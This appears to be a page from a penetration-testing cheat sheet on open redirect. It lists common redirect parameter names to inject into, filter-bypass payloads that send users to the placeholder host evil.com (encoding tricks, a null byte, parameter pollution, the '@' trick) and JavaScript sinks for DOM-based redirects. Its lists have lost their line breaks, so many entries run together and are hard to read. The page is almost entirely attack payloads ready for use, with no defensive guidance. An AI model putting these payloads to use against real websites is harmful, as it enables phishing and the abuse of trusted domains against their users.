Open redirect
Exploit
Section titled “Exploit”Common injection parameters
Section titled “Common injection parameters”/?next?url?target?rurl?dest?destination?redir?redirect_uri?redirect_url?redirect/redirect//cgi-bin/redirect.cgi?/out//out??view/login?to?image_url?go?return?returnTo?return_to?checkout_url?continue?return_pathsuccessdataqurlloginlogoutextclickurlgotorit_urlforward_url@https://forwardpiccallback_urljumpjump_urlclick?uoriginUrloriginUrldesturlupageu1actionaction_urlRedirectsp_urlservicerecurlj?urlurl//uriuallinurl:qlinksrctc?srclinkAddresslocationburlrequestbackurlRedirectUrlRedirectReturnUrlBypass blacklist
Section titled “Bypass blacklist”http blacklist bypass:
//evil.com// blacklist bypass:
https:evil.comUsing // to bypass // blacklisted keyword (Browsers see // as //)
\/\/evil.com//\/evil.com/Using / to bypass:
/\evil.comURL encode Unicode full stop 。
//evil%E3%80%82comNull byte
//evil%00.comParameter pollution
?next=whitelisted.com&next=evil.comUsing ”@” character, browser will redirect to anything after the ”@“
http://www.theirsite.com@evil.com/DOM based
Section titled “DOM based”View the page source. Common sink for open redirect:
locationlocation.hostlocation.hostnamelocation.hreflocation.pathnamelocation.searchlocation.protocollocation.assign()location.replace()open()element.srcdocXMLHttpRequest.open()XMLHttpRequest.send()jQuery.ajax()$.ajax()